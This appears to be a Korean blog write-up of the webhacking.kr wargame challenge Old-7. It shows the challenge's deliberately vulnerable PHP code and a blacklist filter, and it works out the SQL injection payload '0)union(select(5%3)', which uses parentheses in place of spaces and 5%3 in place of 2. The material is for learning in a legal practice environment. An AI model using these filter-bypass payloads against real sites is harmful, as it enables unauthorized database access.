Auth 버튼을 클릭했지만, “Access_Denied!”라는 문구의 alert 창이 떴다.

 

<?php
    $go=$_GET['val'];
    if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
    echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
    if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
    $db = dbconnect();
    $rand=rand(1,5);
    if($rand==1){
      $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
    }
    if($rand==2){
      $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
    }
    if($rand==3){
      $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
    }
    if($rand==4){
      $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
    }
    if($rand==5){
      $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
    }
    $data=mysqli_fetch_array($result);
    if(!$data[0]) { echo("query error"); exit(); }
    if($data[0]==1){
      echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
    }
    elseif($data[0]==2){
      echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
      solve(7);
    }
?>

코드를 보니, SQLi를 이용하여 Flag를 얻는 문제인 듯하다.

1~5번에서 랜덤으로 SQL Query문이 잡히기 때문에 현재 어떤 Query문인지 모른다.

그래서 나는 일단 1번 SQL Query문을 목표로 잡고 생각하기로 하였다.

현재 입력값에 대한 검증이 있는데, 2, -, +, from, _, =, 문자열 사이 공백, *, /으로 대소문자 구별 없이 검증을 하고 있다.

 

해당 검증을 잘 우회하는지 검사하기 위해 코드를 작성하여 검증 우회 테스트를 하였다.

<?php
    $stdin = fopen('php://stdin', 'r');
    $input = trim(fread($stdin, 1024));
    fclose($stdin);

    if (preg_match("/2|-|\+|from|_|=|\\s|\*|\//i", $input)) {
        echo "Nop!!\n";
        exit();
    }
    echo "select lv from chall7 where lv=({$input})\n";
?>

몇가지 시도를 해보니, 나머지를 이용하여 이론상으로 2를 만들 수 가 있었다.

5%3  
select lv from chall7 where lv=(5%3)

위의 쿼리문이 잘 작동하는지 mysql에서 테스트를 진행하니, 2가 출력이 되었다.

하지만, 무슨 이유인지 모르겠지만 문제에선 결과값이 없어서 query error를 출력하였다.

그래서 곰곰히 생각을 하니, 현재 내 도커의 DB에는 2이라는 데이터가 저장이 되어있다.

만약 문제에선 2가 저장이 안되어있다라는 상황을 생각하게 되었다.

도커의 mysql에 있는 2를 지우고 쿼리문을 실행하니, 결과값이 전혀 나오지 않았다.

이를 해결하기 위해 나는 select 2로 하여 2가 출력하도록 시도를 하였다.

select lv from chall7 where lv=(0) union select 2-- );

여러번 시도 끝에 where절의 lv가 false이고, 유니온으로 select 2를 연결 시키면 결과값이 2가 출력이 되었다.

하지만 위의 쿼리문은 문자열 사이에 공백이 있어서 검증에 통과를 못하였다.

그래서 구글에 “sql 쿼리 공백 없이“라고 검색하니, 원하는 방법을 찾을 수 있었다.

0)union(select(5%3)
select lv from chall7 where lv=(0)union(select(5%3))

바로 (, )를 이용한 방법이다.

검증은 통과했으나, 쿼리문이 작동 안할 수 도 있으니 Mysql에 테스트를 하였다.

문제 없이 잘 작동하였다.

 

Val 파라미터에 0)union(select(5%3)를 넣고 요청하니,

Nice try!가 출력이 되었다. 당연한 것이다.

왜냐하면, 쿼리문은 랜덤으로 정해지기 때문에 1번 쿼리문이 나올때까지 요청을 보내야한다.

7번의 요청을 하니, Flag를 얻을 수 있었다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 46 Write Up  (0) 2021.05.27
[Webhacking.kr] Old - 11 Write Up  (0) 2021.05.27
[Webhacking.kr] Old - 5 Write Up  (0) 2021.05.25
[Webhacking.kr] Old - 4 Write Up  (0) 2021.05.25
Old - 56 Write Up  (0) 2021.05.23
복사했습니다!